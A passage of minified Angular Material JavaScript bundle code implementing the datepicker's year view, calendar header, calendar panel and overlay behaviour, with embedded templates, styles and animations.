c.vpe,this.monthSelected=new c.vpe,this.activeDateChange=new c.vpe,this._activeDate=this._dateAdapter.today()}get activeDate(){return this._activeDate}set activeDate(h){let $=this._activeDate;const ke=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))||this._dateAdapter.today();this._activeDate=this._dateAdapter.clampDate(ke,this.minDate,this.maxDate),this._dateAdapter.getYear($)!==this._dateAdapter.getYear(this._activeDate)&&this._init()}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h)),this._setSelectedMonth(h)}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}ngAfterContentInit(){this._rerenderSubscription=this._dateAdapter.localeChanges.pipe((0,G.O)(null)).subscribe(()=>this._init())}ngOnDestroy(){this._rerenderSubscription.unsubscribe()}_monthSelected(h){const $=h.value,ke=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),$,1);this.monthSelected.emit(ke);const lt=this._getDateFromMonth($);this.selectedChange.emit(lt)}_updateActiveDate(h){const ke=this._activeDate;this.activeDate=this._getDateFromMonth(h.value),this._dateAdapter.compareDate(ke,this.activeDate)&&this.activeDateChange.emit(this.activeDate)}_handleCalendarBodyKeydown(h){const $=this._activeDate,ke=this._isRtl();switch(h.keyCode){case H.oh:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,ke?1:-1);break;case H.SV:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,ke?-1:1);break;case H.LH:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,-4);break;case H.JH:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,4);break;case H.Sd:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,-this._dateAdapter.getMonth(this._activeDate));break;case H.uR:this.activeDate=this._dateAdapter.addCalendarMonths(this._activeDate,11-this._dateAdapter.getMonth(this._activeDate));break;case H.Ku:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?-10:-1);break;case H.VM:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?10:1);break;case H.K5:case H.L_:this._selectionKeyPressed=!0;break;default:return}this._dateAdapter.compareDate($,this.activeDate)&&(this.activeDateChange.emit(this.activeDate),this._focusActiveCellAfterViewChecked()),h.preventDefault()}_handleCalendarBodyKeyup(h){(h.keyCode===H.L_||h.keyCode===H.K5)&&(this._selectionKeyPressed&&this._monthSelected({value:this._dateAdapter.getMonth(this._activeDate),event:h}),this._selectionKeyPressed=!1)}_init(){this._setSelectedMonth(this.selected),this._todayMonth=this._getMonthInCurrentYear(this._dateAdapter.today()),this._yearLabel=this._dateAdapter.getYearName(this.activeDate);let h=this._dateAdapter.getMonthNames("short");this._months=[[0,1,2,3],[4,5,6,7],[8,9,10,11]].map($=>$.map(ke=>this._createCellForMonth(ke,h[ke]))),this._changeDetectorRef.markForCheck()}_focusActiveCell(){this._matCalendarBody._focusActiveCell()}_focusActiveCellAfterViewChecked(){this._matCalendarBody._scheduleFocusActiveCellAfterViewChecked()}_getMonthInCurrentYear(h){return h&&this._dateAdapter.getYear(h)==this._dateAdapter.getYear(this.activeDate)?this._dateAdapter.getMonth(h):null}_getDateFromMonth(h){const $=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),h,1),ke=this._dateAdapter.getNumDaysInMonth($);return this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),h,Math.min(this._dateAdapter.getDate(this.activeDate),ke))}_createCellForMonth(h,$){const ke=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),h,1),lt=this._dateAdapter.format(ke,this._dateFormats.display.monthYearA11yLabel),Wt=this.dateClass?this.dateClass(ke,"year"):void 0;return new P(h,$.toLocaleUpperCase(),lt,this._shouldEnableMonth(h),Wt)}_shouldEnableMonth(h){const $=this._dateAdapter.getYear(this.activeDate);if(null==h||this._isYearAndMonthAfterMaxDate($,h)||this._isYearAndMonthBeforeMinDate($,h))return!1;if(!this.dateFilter)return!0;for(let lt=this._dateAdapter.createDate($,h,1);this._dateAdapter.getMonth(lt)==h;lt=this._dateAdapter.addCalendarDays(lt,1))if(this.dateFilter(lt))return!0;return!1}_isYearAndMonthAfterMaxDate(h,$){if(this.maxDate){const ke=this._dateAdapter.getYear(this.maxDate),lt=this._dateAdapter.getMonth(this.maxDate);return h>ke||h===ke&&$>lt}return!1}_isYearAndMonthBeforeMinDate(h,$){if(this.minDate){const ke=this._dateAdapter.getYear(this.minDate),lt=this._dateAdapter.getMonth(this.minDate);return h<ke||h===ke&&$<lt}return!1}_isRtl(){return this._dir&&"rtl"===this._dir.value}_setSelectedMonth(h){this._selectedMonth=h instanceof Je?this._getMonthInCurrentYear(h.start)||this._getMonthInCurrentYear(h.end):this._getMonthInCurrentYear(h)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.sBO),c.Y36(_.sG,8),c.Y36(_._A,8),c.Y36(j.Is,8))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-year-view"]],viewQuery:function(h,$){if(1&h&&c.Gf(w,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._matCalendarBody=ke.first)}},inputs:{activeDate:"activeDate",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass"},outputs:{selectedChange:"selectedChange",monthSelected:"monthSelected",activeDateChange:"activeDateChange"},exportAs:["matYearView"],decls:5,vars:9,consts:[["role","grid",1,"mat-calendar-table"],["aria-hidden","true",1,"mat-calendar-table-header"],["colspan","4",1,"mat-calendar-table-header-divider"],["mat-calendar-body","",3,"label","rows","todayValue","startValue","endValue","labelMinRequiredCells","numCols","cellAspectRatio","activeCell","selectedValueChange","activeDateChange","keyup","keydown"]],template:function(h,$){1&h&&(c.TgZ(0,"table",0)(1,"thead",1)(2,"tr"),c._UZ(3,"th",2),c.qZA()(),c.TgZ(4,"tbody",3),c.NdJ("selectedValueChange",function(lt){return $._monthSelected(lt)})("activeDateChange",function(lt){return $._updateActiveDate(lt)})("keyup",function(lt){return $._handleCalendarBodyKeyup(lt)})("keydown",function(lt){return $._handleCalendarBodyKeydown(lt)}),c.qZA()()),2&h&&(c.xp6(4),c.Q6J("label",$._yearLabel)("rows",$._months)("todayValue",$._todayMonth)("startValue",$._selectedMonth)("endValue",$._selectedMonth)("labelMinRequiredCells",2)("numCols",4)("cellAspectRatio",4/7)("activeCell",$._dateAdapter.getMonth($.activeDate)))},dependencies:[w],encapsulation:2,changeDetection:0}),O})(),Fe=0,be=(()=>{class O{constructor(h,$,ke,lt,Wt){this._intl=h,this.calendar=$,this._dateAdapter=ke,this._dateFormats=lt,this._buttonDescriptionId="mat-calendar-button-"+Fe++,this.calendar.stateChanges.subscribe(()=>Wt.markForCheck())}get periodButtonText(){if("month"==this.calendar.currentView)return this._dateAdapter.format(this.calendar.activeDate,this._dateFormats.display.monthYearLabel).toLocaleUpperCase();if("year"==this.calendar.currentView)return this._dateAdapter.getYearName(this.calendar.activeDate);const $=this._dateAdapter.getYear(this.calendar.activeDate)-c1(this._dateAdapter,this.calendar.activeDate,this.calendar.minDate,this.calendar.maxDate),ke=$+Vt-1,lt=this._dateAdapter.getYearName(this._dateAdapter.createDate($,0,1)),Wt=this._dateAdapter.getYearName(this._dateAdapter.createDate(ke,0,1));return this._intl.formatYearRange(lt,Wt)}get periodButtonLabel(){return"month"==this.calendar.currentView?this._intl.switchToMultiYearViewLabel:this._intl.switchToMonthViewLabel}get prevButtonLabel(){return{month:this._intl.prevMonthLabel,year:this._intl.prevYearLabel,"multi-year":this._intl.prevMultiYearLabel}[this.calendar.currentView]}get nextButtonLabel(){return{month:this._intl.nextMonthLabel,year:this._intl.nextYearLabel,"multi-year":this._intl.nextMultiYearLabel}[this.calendar.currentView]}currentPeriodClicked(){this.calendar.currentView="month"==this.calendar.currentView?"multi-year":"month"}previousClicked(){this.calendar.activeDate="month"==this.calendar.currentView?this._dateAdapter.addCalendarMonths(this.calendar.activeDate,-1):this._dateAdapter.addCalendarYears(this.calendar.activeDate,"year"==this.calendar.currentView?-1:-Vt)}nextClicked(){this.calendar.activeDate="month"==this.calendar.currentView?this._dateAdapter.addCalendarMonths(this.calendar.activeDate,1):this._dateAdapter.addCalendarYears(this.calendar.activeDate,"year"==this.calendar.currentView?1:Vt)}previousEnabled(){return!this.calendar.minDate||!this.calendar.minDate||!this._isSameView(this.calendar.activeDate,this.calendar.minDate)}nextEnabled(){return!this.calendar.maxDate||!this._isSameView(this.calendar.activeDate,this.calendar.maxDate)}_isSameView(h,$){return"month"==this.calendar.currentView?this._dateAdapter.getYear(h)==this._dateAdapter.getYear($)&&this._dateAdapter.getMonth(h)==this._dateAdapter.getMonth($):"year"==this.calendar.currentView?this._dateAdapter.getYear(h)==this._dateAdapter.getYear($):u1(this._dateAdapter,h,$,this.calendar.minDate,this.calendar.maxDate)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(pe),c.Y36((0,c.Gpc)(()=>Pe)),c.Y36(_._A,8),c.Y36(_.sG,8),c.Y36(c.sBO))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-calendar-header"]],exportAs:["matCalendarHeader"],ngContentSelectors:Oe,decls:11,vars:10,consts:[[1,"mat-calendar-header"],[1,"mat-calendar-controls"],["mat-button","","type","button","aria-live","polite",1,"mat-calendar-period-button",3,"click"],["viewBox","0 0 10 5","focusable","false",1,"mat-calendar-arrow"],["points","0,0 5,5 10,0"],[1,"mat-calendar-spacer"],["mat-icon-button","","type","button",1,"mat-calendar-previous-button",3,"disabled","click"],["mat-icon-button","","type","button",1,"mat-calendar-next-button",3,"disabled","click"]],template:function(h,$){1&h&&(c.F$t(),c.TgZ(0,"div",0)(1,"div",1)(2,"button",2),c.NdJ("click",function(){return $.currentPeriodClicked()}),c.TgZ(3,"span"),c._uU(4),c.qZA(),c.O4$(),c.TgZ(5,"svg",3),c._UZ(6,"polygon",4),c.qZA()(),c.kcU(),c._UZ(7,"div",5),c.Hsn(8),c.TgZ(9,"button",6),c.NdJ("click",function(){return $.previousClicked()}),c.qZA(),c.TgZ(10,"button",7),c.NdJ("click",function(){return $.nextClicked()}),c.qZA()()()),2&h&&(c.xp6(2),c.uIk("aria-label",$.periodButtonLabel)("aria-describedby",$._buttonDescriptionId),c.xp6(1),c.uIk("id",$._buttonDescriptionId),c.xp6(1),c.Oqu($.periodButtonText),c.xp6(1),c.ekj("mat-calendar-invert","month"!==$.calendar.currentView),c.xp6(4),c.Q6J("disabled",!$.previousEnabled()),c.uIk("aria-label",$.prevButtonLabel),c.xp6(1),c.Q6J("disabled",!$.nextEnabled()),c.uIk("aria-label",$.nextButtonLabel))},dependencies:[f.lW],encapsulation:2,changeDetection:0}),O})(),Pe=(()=>{class O{constructor(h,$,ke,lt){this._dateAdapter=$,this._dateFormats=ke,this._changeDetectorRef=lt,this._moveFocusOnNextTick=!1,this.startView="month",this.selectedChange=new c.vpe,this.yearSelected=new c.vpe,this.monthSelected=new c.vpe,this.viewChanged=new c.vpe(!0),this._userSelection=new c.vpe,this.stateChanges=new S.xQ,this._intlChanges=h.changes.subscribe(()=>{lt.markForCheck(),this.stateChanges.next()})}get startAt(){return this._startAt}set startAt(h){this._startAt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get activeDate(){return this._clampedActiveDate}set activeDate(h){this._clampedActiveDate=this._dateAdapter.clampDate(h,this.minDate,this.maxDate),this.stateChanges.next(),this._changeDetectorRef.markForCheck()}get currentView(){return this._currentView}set currentView(h){const $=this._currentView!==h?h:null;this._currentView=h,this._moveFocusOnNextTick=!0,this._changeDetectorRef.markForCheck(),$&&this.viewChanged.emit($)}ngAfterContentInit(){this._calendarHeaderPortal=new s.C5(this.headerComponent||be),this.activeDate=this.startAt||this._dateAdapter.today(),this._currentView=this.startView}ngAfterViewChecked(){this._moveFocusOnNextTick&&(this._moveFocusOnNextTick=!1,this.focusActiveCell())}ngOnDestroy(){this._intlChanges.unsubscribe(),this.stateChanges.complete()}ngOnChanges(h){const $=h.minDate&&!this._dateAdapter.sameDate(h.minDate.previousValue,h.minDate.currentValue)?h.minDate:void 0,ke=h.maxDate&&!this._dateAdapter.sameDate(h.maxDate.previousValue,h.maxDate.currentValue)?h.maxDate:void 0,lt=$||ke||h.dateFilter;if(lt&&!lt.firstChange){const Wt=this._getCurrentViewComponent();Wt&&(this._changeDetectorRef.detectChanges(),Wt._init())}this.stateChanges.next()}focusActiveCell(){this._getCurrentViewComponent()._focusActiveCell(!1)}updateTodaysDate(){this._getCurrentViewComponent()._init()}_dateSelected(h){const $=h.value;(this.selected instanceof Je||$&&!this._dateAdapter.sameDate($,this.selected))&&this.selectedChange.emit($),this._userSelection.emit(h)}_yearSelectedInMultiYearView(h){this.yearSelected.emit(h)}_monthSelectedInYearView(h){this.monthSelected.emit(h)}_goToDateInView(h,$){this.activeDate=h,this.currentView=$}_getCurrentViewComponent(){return this.monthView||this.yearView||this.multiYearView}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(pe),c.Y36(_._A,8),c.Y36(_.sG,8),c.Y36(c.sBO))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-calendar"]],viewQuery:function(h,$){if(1&h&&(c.Gf(wt,5),c.Gf(kt,5),c.Gf(qt,5)),2&h){let ke;c.iGM(ke=c.CRH())&&($.monthView=ke.first),c.iGM(ke=c.CRH())&&($.yearView=ke.first),c.iGM(ke=c.CRH())&&($.multiYearView=ke.first)}},hostAttrs:[1,"mat-calendar"],inputs:{headerComponent:"headerComponent",startAt:"startAt",startView:"startView",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass",comparisonStart:"comparisonStart",comparisonEnd:"comparisonEnd"},outputs:{selectedChange:"selectedChange",yearSelected:"yearSelected",monthSelected:"monthSelected",viewChanged:"viewChanged",_userSelection:"_userSelection"},exportAs:["matCalendar"],features:[c._Bn([te]),c.TTD],decls:5,vars:5,consts:[[3,"cdkPortalOutlet"],["cdkMonitorSubtreeFocus","","tabindex","-1",1,"mat-calendar-content",3,"ngSwitch"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","comparisonStart","comparisonEnd","activeDateChange","_userSelection",4,"ngSwitchCase"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","monthSelected","selectedChange",4,"ngSwitchCase"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","yearSelected","selectedChange",4,"ngSwitchCase"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","comparisonStart","comparisonEnd","activeDateChange","_userSelection"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","monthSelected","selectedChange"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","yearSelected","selectedChange"]],template:function(h,$){1&h&&(c.YNc(0,Qe,0,0,"ng-template",0),c.TgZ(1,"div",1),c.YNc(2,Ye,1,8,"mat-month-view",2),c.YNc(3,qe,1,6,"mat-year-view",3),c.YNc(4,Ke,1,6,"mat-multi-year-view",4),c.qZA()),2&h&&(c.Q6J("cdkPortalOutlet",$._calendarHeaderPortal),c.xp6(1),c.Q6J("ngSwitch",$.currentView),c.xp6(1),c.Q6J("ngSwitchCase","month"),c.xp6(1),c.Q6J("ngSwitchCase","year"),c.xp6(1),c.Q6J("ngSwitchCase","multi-year"))},dependencies:[u.RF,u.n9,n.kH,s.Pl,wt,kt,qt],styles:[\'.mat-calendar{display:block}.mat-calendar-header{padding:8px 8px 0 8px}.mat-calendar-content{padding:0 8px 8px 8px;outline:none}.mat-calendar-controls{display:flex;margin:5% calc(4.7142857143% - 16px)}.mat-calendar-controls .mat-icon-button:hover .mat-button-focus-overlay{opacity:.04}.mat-calendar-spacer{flex:1 1 auto}.mat-calendar-period-button{min-width:0}.mat-calendar-arrow{display:inline-block;width:10px;height:5px;margin:0 0 0 5px;vertical-align:middle}.mat-calendar-arrow.mat-calendar-invert{transform:rotate(180deg)}[dir=rtl] .mat-calendar-arrow{margin:0 5px 0 0}.cdk-high-contrast-active .mat-calendar-arrow{fill:CanvasText}.mat-calendar-previous-button,.mat-calendar-next-button{position:relative}.mat-calendar-previous-button::after,.mat-calendar-next-button::after{top:0;left:0;right:0;bottom:0;position:absolute;content:"";margin:15.5px;border:0 solid currentColor;border-top-width:2px}[dir=rtl] .mat-calendar-previous-button,[dir=rtl] .mat-calendar-next-button{transform:rotate(180deg)}.mat-calendar-previous-button::after{border-left-width:2px;transform:translateX(2px) rotate(-45deg)}.mat-calendar-next-button::after{border-right-width:2px;transform:translateX(-2px) rotate(45deg)}.mat-calendar-table{border-spacing:0;border-collapse:collapse;width:100%}.mat-calendar-table-header th{text-align:center;padding:0 0 8px 0}.mat-calendar-table-header-divider{position:relative;height:1px}.mat-calendar-table-header-divider::after{content:"";position:absolute;top:0;left:-8px;right:-8px;height:1px}.mat-calendar-body-cell-content::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 3px) * -1)}.mat-calendar-body-cell:focus .mat-focus-indicator::before{content:""}\'],encapsulation:2,changeDetection:0}),O})();const Re={transformPanel:(0,k.X$)("transformPanel",[(0,k.eR)("void => enter-dropdown",(0,k.jt)("120ms cubic-bezier(0, 0, 0.2, 1)",(0,k.F4)([(0,k.oB)({opacity:0,transform:"scale(1, 0.8)"}),(0,k.oB)({opacity:1,transform:"scale(1, 1)"})]))),(0,k.eR)("void => enter-dialog",(0,k.jt)("150ms cubic-bezier(0, 0, 0.2, 1)",(0,k.F4)([(0,k.oB)({opacity:0,transform:"scale(0.7)"}),(0,k.oB)({transform:"none",opacity:1})]))),(0,k.eR)("* => void",(0,k.jt)("100ms linear",(0,k.oB)({opacity:0})))]),fadeInCalendar:(0,k.X$)("fadeInCalendar",[(0,k.SB)("void",(0,k.oB)({opacity:0})),(0,k.SB)("enter",(0,k.oB)({opacity:1})),(0,k.eR)("void => *",(0,k.jt)("120ms 100ms cubic-bezier(0.55, 0, 0.55, 0.2)"))])};let Ue=0;const xe=new c.OlP("mat-datepicker-scroll-strategy"),Ae={provide:xe,deps:[a.aV],useFactory:function J(O){return()=>O.scrollStrategies.reposition()}},mt=(0,_.pj)(class{constructor(O){this._elementRef=O}});let Ct=(()=>{class O extends mt{constructor(h,$,ke,lt,Wt,p1){super(h),this._changeDetectorRef=$,this._globalModel=ke,this._dateAdapter=lt,this._rangeSelectionStrategy=Wt,this._subscriptions=new g.w,this._animationDone=new S.xQ,this._actionsPortal=null,this._closeButtonText=p1.closeCalendarLabel}ngOnInit(){this._animationState=this.datepicker.touchUi?"enter-dialog":"enter-dropdown"}ngAfterViewInit(){this._subscriptions.add(this.datepicker.stateChanges.subscribe(()=>{this._changeDetectorRef.markForCheck()})),this._calendar.focusActiveCell()}ngOnDestroy(){this._subscriptions.unsubscribe(),this._animationDone.complete()}_handleUserSelection(h){const $=this._model.selection,ke=h.value,lt=$ instanceof Je;if(lt&&this._rangeSelectionStrategy){const Wt=this._rangeSelectionStrategy.selectionFinished(ke,$,h.event);this._model.updateSelection(Wt,this)}else ke&&(lt||!this._dateAdapter.sameDate(ke,$))&&this._model.add(ke);(!this._model||this._model.isComplete())&&!this._actionsPortal&&this.datepicker.close()}_startExitAnimation(){this._animationState="void",this._changeDetectorRef.markForCheck()}_getSelected(){return this._model.selection}_applyPendingSelection(){this._model!==this._globalModel&&this._globalModel.updateSelection(this._model.selection,this)}_assignActions(h,$){this._model=h?this._globalModel.clone():this._globalModel,this._actionsPortal=h,$&&this._changeDetectorRef.detectChanges()}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(Et),c.Y36(_._A),c.Y36(b,8),c.Y36(pe))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-datepicker-content"]],viewQuery:function(h,$){if(1&h&&c.Gf(Pe,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._calendar=ke.first)}},hostAttrs:[1,"mat-datepicker-content"],hostVars:3,hostBindings:function(h,$){1&h&&c.WFA("@transformPanel.done",function(){return $._animationDone.next()}),2&h&&(c.d8E("@transformPanel",$._animationState),c.ekj("mat-datepicker-content-touch",$.datepicker.touchUi))},inputs:{color:"color"},exportAs:["matDatepickerContent"],features:[c.qOj],decls:5,vars:24,consts:[["cdkTrapFocus","","role","dialog",1,"mat-datepicker-content-container"],[3,"id","ngClass","startAt","startView","minDate","maxDate","dateFilter","headerComponent","selected","dateClass","comparisonStart","comparisonEnd","yearSelected","monthSelected","viewChanged","_userSelection"],[3,"cdkPortalOutlet"],["type","button","mat-raised-button","",1,"mat-datepicker-close-button",3,"color","focus","blur","click"]],template:function(h,$){if(1&h&&(c.TgZ(0,"div",0)(1,"mat-calendar",1),c.NdJ("yearSelected",function(lt){return $.datepicker._selectYear(lt)})("monthSelected",function(lt){return $.datepicker._selectMonth(lt)})("viewChanged",function(lt){return $.datepicker._viewChanged(lt)})("_userSelection",function(lt){return $._handleUserSelection(lt)}),c.qZA(),c.YNc(2,dt,0,0,"ng-template",2),c.TgZ(3,"button",3),c.NdJ("focus",function(){return $._closeButtonFocused=!0})("blur",function(){return $._closeButtonFocused=!1})("click",function(){return $.datepicker.close()}),c._uU(4),c.qZA()()),2&h){let ke;c.ekj("mat-datepicker-content-container-with-custom-header",$.datepicker.calendarHeaderComponent)("mat-datepicker-content-container-with-actions",$._actionsPortal),c.uIk("aria-modal",!0)("aria-labelledby",null!==(ke=$._dialogLabelId)&&void 0!==ke?ke:void 0),c.xp6(1),c.Q6J("id",$.datepicker.id)("ngClass",$.datepicker.panelClass)("startAt",$.datepicker.startAt)("startView",$.datepicker.startView)("minDate",$.datepicker._getMinDate())("maxDate",$.datepicker._getMaxDate())("dateFilter",$.datepicker._getDateFilter())("headerComponent",$.datepicker.calendarHeaderComponent)("selected",$._getSelected())("dateClass",$.datepicker.dateClass)("comparisonStart",$.comparisonStart)("comparisonEnd",$.comparisonEnd)("@fadeInCalendar","enter"),c.xp6(1),c.Q6J("cdkPortalOutlet",$._actionsPortal),c.xp6(1),c.ekj("cdk-visually-hidden",!$._closeButtonFocused),c.Q6J("color",$.color||"primary"),c.xp6(1),c.Oqu($._closeButtonText)}},dependencies:[u.mk,f.lW,n.mK,s.Pl,Pe],styles:[".mat-datepicker-content{display:block;border-radius:4px}.mat-datepicker-content .mat-calendar{width:296px;height:354px}.mat-datepicker-content .mat-datepicker-content-container-with-custom-header .mat-calendar{height:auto}.mat-datepicker-content .mat-datepicker-close-button{position:absolute;top:100%;left:0;margin-top:8px}.ng-animating .mat-datepicker-content .mat-datepicker-close-button{display:none}.mat-datepicker-content-container{display:flex;flex-direction:column;justify-content:space-between}.mat-datepicker-content-touch{display:block;max-height:80vh;position:relative;overflow:visible}.mat-datepicker-content-touch .mat-datepicker-content-container{min-height:312px;max-height:788px;min-width:250px;max-width:750px}.mat-datepicker-content-touch .mat-calendar{width:100%;height:auto}@media all and (orientation: landscape){.mat-datepicker-content-touch .mat-datepicker-content-container{width:64vh;height:80vh}}@media all and (orientation: portrait){.mat-datepicker-content-touch .mat-datepicker-content-container{width:80vw;height:100vw}.mat-datepicker-content-touch .mat-datepicker-content-container-with-actions{height:115vw}}"],encapsulation:2,data:{animation:[Re.transformPanel,Re.fadeInCalendar]},changeDetection:0}),O})(),jt=(()=>{class O{constructor(h,$,ke,lt,Wt,p1,w1){this._overlay=h,this._ngZone=$,this._viewContainerRef=ke,this._dateAdapter=Wt,this._dir=p1,this._model=w1,this._inputStateChanges=g.w.EMPTY,this._document=(0,c.f3M)(u.K0),this.startView="month",this._touchUi=!1,this.xPosition="start",this.yPosition="below",this._restoreFocus=!0,this.yearSelected=new c.vpe,this.monthSelected=new c.vpe,this.viewChanged=new c.vpe(!0),this.openedStream=new c.vpe,this.closedStream=new c.vpe,this._opened=!1,this.id="mat-datepicker-"+Ue++,this._focusedElementBeforeOpen=null,this._backdropHarnessClass=`${this.id}-backdrop`,this.stateChanges=new S.xQ,this._scrollStrategy=lt}get startAt(){return this._startAt||(this.datepickerInput?this.datepickerInput.getStartValue():null)}set startAt(h){this._startAt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get color(){return this._color||(this.datepickerInput?this.datepickerInput.getThemePalette():void 0)}set color(h){this._color=h}get touchUi(){return this._touchUi}set touchUi(h){this._touchUi=(0,oe.Ig)(h)}get disabled(){return void 0===this._disabled&&this.datepickerInput?this.datepickerInput.disabled:!!this._disabled}set disabled(h){const $=(0,oe.Ig)(h);$!==this._disabled&&(this._disabled=$,this.stateChanges.next(void 0))}get restoreFocus(){return this._restoreFocus}set restoreFocus(h){this._restoreFocus=(0,oe.Ig)(h)}get panelClass(){return this._panelClass}set panelClass(h){this._panelClass=(0,oe.du)(h)}get opened(){return this._opened}set opened(h){(0,oe.Ig)(h)?this.open():this.close()}_getMinDate(){return this.datepickerInput&&this.datepickerInput.min}_getMaxDate(){return this.datepickerInput&&this.datepickerInput.max}_getDateFilter(){return this.datepickerInput&&this.datepickerInput.dateFilter}ngOnChanges(h){const $=h.xPosition||h.yPosition;if($&&!$.firstChange&&this._overlayRef){const ke=this._overlayRef.getConfig().positionStrategy;ke instanceof a._G&&(this._setConnectedPositions(ke),this.opened&&this._overlayRef.updatePosition())}this.stateChanges.next(void 0)}ngOnDestroy(){this._destroyOverlay(),this.close(),this._inputStateChanges.unsubscribe(),this.stateChanges.complete()}select(h){this._model.add(h)}_selectYear(h){this.yearSelected.emit(h)}_selectMonth(h){this.monthSelected.emit(h)}_viewChanged(h){this.viewChanged.emit(h)}registerInput(h){return this._inputStateChanges.unsubscribe(),this.datepickerInput=h,this._inputStateChanges=h.stateChanges.subscribe(()=>this.stateChanges.next(void 0)),this._model}registerActions(h){this._actionsPortal=h,this._componentRef?.instance._assignActions(h,!0)}removeActions(h){h===this._actionsPortal&&(this._actionsPortal=null,this._componentRef?.instance._assignActions(null,!0))}open(){this._opened||this.disabled||(this._focusedElementBeforeOpen=(0,Ce.ht)(),this._openOverlay(),this._opened=!0,this.openedStream.emit())}close(){if(!this._opened)return;const h=this._restoreFocus&&this._focusedElementBeforeOpen&&"function"==typeof this._focusedElementBeforeOpen.focus,$=()=>{this._opened&&(this._opened=!1,this.closedStream.emit())};if(this._componentRef){const{instance:ke,location:lt}=this._componentRef;ke._startExitAnimation(),ke._animationDone.pipe((0,U.q)(1)).subscribe(()=>{const Wt=this._document.activeElement;h&&(!Wt||Wt===this._document.activeElement||lt.nativeElement.contains(Wt))&&this._focusedElementBeforeOpen.focus(),this._focusedElementBeforeOpen=null,this._destroyOverlay()})}h?setTimeout($):$()}_applyPendingSelection(){this._componentRef?.instance?._applyPendingSelection()}_forwardContentValues(h){h.datepicker=this,h.color=this.color,h._dialogLabelId=this.datepickerInput.getOverlayLabelId(),h._assignActions(this._actionsPortal,!1)}_openOverlay(){this._destroyOverlay();const h=this.touchUi,$=new s.C5(Ct,this._viewContainerRef),ke=this._overlayRef=this._overlay.create(new a.X_({positionStrategy:h?this._getDialogStrategy():this._getDropdownStrategy(),hasBackdrop:!0,backdropClass:[h?"cdk-overlay-dark-backdrop":"mat-overlay-transparent-backdrop",this._backdropHarnessClass],direction:this._dir,scrollStrategy:h?this._overlay.scrollStrategies.block():this._scrollStrategy(),panelClass:"mat-datepicker-"+(h?"dialog":"popup")}));this._getCloseStream(ke).subscribe(lt=>{lt&<.preventDefault(),this.close()}),ke.keydownEvents().subscribe(lt=>{const Wt=lt.keyCode;(Wt===H.LH||Wt===H.JH||Wt===H.oh||Wt===H.SV||Wt===H.Ku||Wt===H.VM)&<.preventDefault()}),this._componentRef=ke.attach($),this._forwardContentValues(this._componentRef.instance),h||this._ngZone.onStable.pipe((0,U.q)(1)).subscribe(()=>ke.updatePosition())}_destroyOverlay(){this._overlayRef&&(this._overlayRef.dispose(),this._overlayRef=this._componentRef=null)}_getDialogStrategy(){return this._overlay.position().global().centerHorizontally().centerVertically()}_getDropdownStrategy(){const h=this._overlay.position().flexibleConnectedTo(this.datepickerInput.getConnectedOverlayOrigin()).withTransformOriginOn(".mat-datepicker-content").withFlexibleDimensions(!1).withViewportMargin(8).withLockedPosition();return this._setConnectedPositions(h)}_setConnectedPositions(h){const $="end"===this.xPosition?"end":"start",ke="start"===$?"end":"start",lt="above"===this.yPosition?"bottom":"top",Wt="top"===lt?"bottom":"top";return h.withPositions([{originX:$,originY:Wt,overlayX:$,overlayY:lt},{originX:$,originY:lt,overlayX:$,overlayY:Wt},{originX:ke,originY:Wt,overlayX:ke,overlayY:lt},{originX:ke,originY:lt,overlayX:ke,overlayY:Wt}])}_getCloseStream(h){return(0,C.T)(h.backdropClick(),h.detachments(),h.keydownEvents().pipe((0,Q.h)($=>$.keyCode===H.hY&&!(0,H.Vb)($)||this.datepickerInput&&(0,H.Vb)($,"altKey")&&$.keyCode===H.LH)))}}return O.\\u0275fac=function(h){return 